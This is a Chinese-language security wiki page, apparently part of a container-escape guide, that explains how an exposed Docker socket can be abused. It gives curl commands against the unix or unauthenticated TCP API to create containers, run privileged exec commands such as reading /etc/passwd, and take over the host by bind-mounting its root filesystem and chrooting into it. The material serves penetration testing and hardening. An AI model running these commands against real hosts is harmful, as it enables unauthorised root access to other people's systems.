> For the complete documentation index, see [llms.txt](https://gitbook.cdxiaodong.life/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.cdxiaodong.life/rong-qi-an-quan/tao-yi-ji-shu/exposed-docker-socket.md).

# 暴露的Docker Socket

Docker守护进程可以通过三种不同类型的套接字监听[Docker引擎API](https://docs.docker.com/engine/api/)请求：

* `unix`
* `tcp`
* `fd`

默认情况下，Docker通过非网络UNIX套接字运行，该套接字创建在`/var/run/docker.sock`，需要root权限或docker组成员资格。

{% hint style="info" %}
此外，请注意其他高级运行时的运行时套接字：

* dockershim: `unix:///var/run/dockershim.sock`
* containerd: `unix:///run/containerd/containerd.sock`
* cri-o: `unix:///var/run/crio/crio.sock`
* frakti: `unix:///var/run/frakti.sock`
* rktlet: `unix:///var/run/rktlet.sock`
* ...
  {% endhint %}

`tcp`套接字用于远程访问Docker守护进程，默认设置提供未加密和未认证的直接访问。通常使用端口**2375**进行未加密通信，使用端口**2376**进行与守护进程的加密通信。

在基于Systemd的系统上，与Docker守护进程的通信可以通过Systemd套接字`fd://`进行。

有时Docker守护进程可以在容器内部或通过网络访问。这通常导致在主机系统上执行命令和从容器逃逸。

## 列出所有容器

使用`curl`命令通过`unix`套接字列出主机上的所有容器。

```bash
$ curl -s --unix-socket /var/run/docker.sock http:/containers/json
```

使用`curl`命令通过`tcp`套接字列出主机上的所有容器。

```bash
$ curl -s http://<host>:<port>/containers/json
```

## 创建容器

使用`curl`命令通过`unix`套接字创建容器。

```bash
$ export CONTAINER_NAME=test-container
$ curl \
    -s \
    --unix-socket /var/run/docker.sock \
    "http:/containers/create?name=${CONTAINER_NAME}" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
```

使用`curl`命令通过`tcp`套接字创建容器。

```bash
$ export CONTAINER_NAME=test-container
$ curl \
    -s \
    "http://<host>:<port>/containers/create?name=${CONTAINER_NAME}" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
```

## 启动容器

```bash
$ export CONTAINER_NAME=test-container
$ curl \
    -s \
    "http://<host>:<port>/containers/${CONTAINER_NAME}/start" \
    -X POST \
    -H "Content-Type: application/json" 
```

## 在容器中执行代码

首先需要创建一个将在容器中运行的`exec`实例。

```bash
$ curl \
    -s \
    "http://<host>:<port>/containers/<container_id>/exec" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}'

HTTP/1.1 201 Created
...

{"Id":"913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3"}
```

现在`exec`已经创建，您需要运行它。

```bash
$ export EXEC_ID=913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3
$ curl \
    -s \
    "http://<host>:<port>/exec/${EXEC_ID}/start"
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"Detach": false,"Tty": false}' \

HTTP/1.1 200 OK
...

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

## 主机接管

要在主机系统上执行命令，启动Docker容器并将主机根目录挂载到容器卷上。

1. 下载ubuntu镜像。

   ```bash
   $ curl \
       -s \
       "http://<host>:<port>/images/create?fromImage=ubuntu&tag=latest" \
       -X POST \
       -H 'Content-Type: application/json'
   ```
2. 创建容器。

   ```bash
   $ curl \
       -s \
       "http://<host>:<port>/containers/create"
       -X POST \
       -H "Content-Type: application/json" \
       -d '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostfs/": {}},"HostConfig": {"Binds": ["/:/hostfs"]}}'
   ```
3. 启动容器。
4. 为了在主机系统上执行命令，更改根目录。

   ```bash
   $ chroot /hostfs
   ```

## 参考资料

* [技术分析：通过未认证的Docker远程API获得Microsoft Dynamics容器沙箱RCE，20000美元奖金](https://hencohen10.medium.com/microsoft-dynamics-container-sandbox-rce-via-unauthenticated-docker-remote-api-20-000-bounty-7f726340a93b)
* [技术分析：逃逸Cloud Shell容器](https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/)
* [Quarkslab博客：为什么暴露Docker Socket是个非常糟糕的主意？](https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html)
